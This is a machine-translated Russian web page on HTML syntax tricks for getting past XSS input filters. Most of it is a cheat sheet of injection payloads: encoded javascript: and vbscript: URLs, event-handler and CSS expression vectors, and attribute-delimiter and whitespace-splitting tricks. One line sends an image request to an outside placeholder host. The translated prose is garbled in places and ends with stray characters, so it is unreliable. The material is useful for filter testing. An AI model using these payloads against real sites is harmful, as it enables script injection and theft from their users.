This webpage has been robot translated, sorry for typos if any. To view the original content of the page, simply replace the translation subdomain with www in the address bar or use this link.

Особенности синтаксиса HTML

Творцы: Algol, zFailure - последние изменения 13.06.2005

Один из основных методов охраны сайтов от XSS-уязвимостей - это использование различных фильтров на вводимые пользователем символы. В этой заметке описаны особенности синтаксиса HTML, позволяющие обходить данные фильтры.

Следует отметить, что XSS уязвимости являются браузеро-зависимыми. Все приведенные ниже примеры тестировались в IE6. В других версиях либо в других браузерах, примеры могут также никак не трудиться. Например символ обратного апострофа (`) является ограничителем атрибутов только в IE. Другие браузеры, такие как Opera например, никак не считают этот символ огрничителем.

  • Разделители атрибутов тега.
    Помимо пробела, разрешено использовать символы: слеш(/), табуляцию, перевод строки. Разделитель разрешено опустить, ежели предыдущий принадлежность заключен в кавычки.
    <image/src="1.png"/alt="Подсказка"/border="0">
    <image	src="1.png"	alt="Подсказка"	border="0">
    <image
    src="1.png"
    alt="Подсказка"
    border="0">
    <image src="1.png"alt="Подсказка"border="0">
    
  • Ограничители атрибутов тега
    Значения разрешено заключать в кавычки (двойные также одинарные) также в апострофы, только разрешено общий никак не ограничивать.
    <image src="" alt="Моя подсказка" border="0">
    <image src="" alt='Моя подсказка' border="0">
    <image src="" alt=`Моя подсказка` border="0">
    <image src="" alt=Подсказка border="0">
    
  • Кодировки символов
    Расшифровка символов в скрипте проистекает до его выполнения:
    <img src=javascript:alert(&quot;ok&quot;)>
    <img src=javascript:alert(&#039;ok&#039;)>
    <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#111&#107&#39&#41>
    <a href=javascript:alert(%22ok%22)>click me</a> (только в атрибуте href)
    
  • Ограничители символьных литералов в скриптах
    <img src=javascript:alert('ok')>
    <img src=javascript:alert("ok")>
    <img src=javascript:a=/ok/;alert(a.source)>
    <img src=javascript:alert(String.fromCharCode(111,107))>
    
  • Обход фильтрации некоторых символов
    <img src=javascript:i=new/**/Image();i.src='http://bla.bla'>(замена пробела на /**/)
    
  • Способы запуска скриптов
    Несколько способов автоматического запуска скриптов:
    <script>alert('ok')</script>
    <script src=1.js></script>
    <body onLoad=alert('ok')>
    <meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
    <image src=1.png onload=alert('ok')>
    <image src=javascript:alert('ok')>
    <image src="" onerror=alert('ok')>
    <hr style=background:url(javascript:alert('ok'))>
    <span style=top:expression(alert('ok'))></span>
    <span sss="alert();this.sss=null" style=top:expression(eval(this.sss));></span> (срабатывает только один раз)<style type="text/css">@import url(javascript:alert('ok'));</style>
    <object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object>
    <embed src=javascript:alert('ok');this.avi>
    <embed src=javascript:alert('ok');this.wav>
    <iframe src=javascript:alert('ok')> (только в IE)<a href=javascript:alert(%22ok%22)>click me</a> (запуск только при клике по ссылке)<a href=javascript:alert('aaa'+eval('alert();i=2+2')+'bbb')>click me</a>  (запуск только при клике по ссылке)<br SIZE="&{alert('XSS')}"> (только Netscape 4.x)
    
  • Различные скриптовые протоколы, способы их написания
    <img src=javascript:alert()>
    <img src=vbscript:AleRt()>
    <img src=JaVasCriPt:alert()>
    <img src=" javascript:alert()"> (пробелы вплоть до слова javascript) 
    <img src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()>
    <img src=javascript&#9:alert()>
    <img src=javascript&#10:alert()>
    <img src=javascript&#13:alert()>
    <img src="javascript
    :alert()">  (перед двоеточием - символ табуляции) 
    <img src="java
    scri
    pt:ale
    rt()"> (внутри слова javascript - символ табуляции также возврат каретки) 
    
  • Вставки скриптов в style
    Операторы скрипта в атрибуте style нужно делить "\;".
    <hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>
    
  • Специальные теги.
    <image src="1.png" alt="" border="0"> (тег img также image работают одинаково)<plaintext> (все, что станет двигаться позже этого тега, станет восприниматься как обычный текст - никак не HTML)<textarea> (все, что станет двигаться позже этого тега, станет восприниматься как обычный текст - никак не HTML)<xml> (все, что станет двигаться позже этого тега, никак не станет отображаться)
    
  • Таблица часто применяемых кодов:

    Символ Десятичная кодировка 16-ая кодировка* Символьная кодировка URL-кодировка
    " &#34 &#x22; &quot %22
    ' &#39 &#x27;   %27
    ` &#96 &#x60;   %60
    <пробел> &#32 &#x20;   +
    <табуляция> &#9 &#x09;   %09
    <возврат каретки> &#13 &#x0D;   %0D
    = &#61 &#x3D;   %3D
    < &#60 &#x3C; &lt %3C
    > &#62 &#x3E; &gt %3E
    \ &#92 &#x5C;   %5C
    % &#37 &#x25;   %25
    + &#43 &#x2B;   %2B
    <короткий дефис> &#173 &#xAD; &shy %AD
    & &#38 &#x26; &amp %26

    *-в некоторых случаях точку с запятой можно опустить (если символ стоит в конце строки, либо подряд идут несколько символов в этой кодировке).

    См. схоже: http://ha.ckers.org/xss.html

    Дата створення/оновлення: 25.05.2018

  • ';>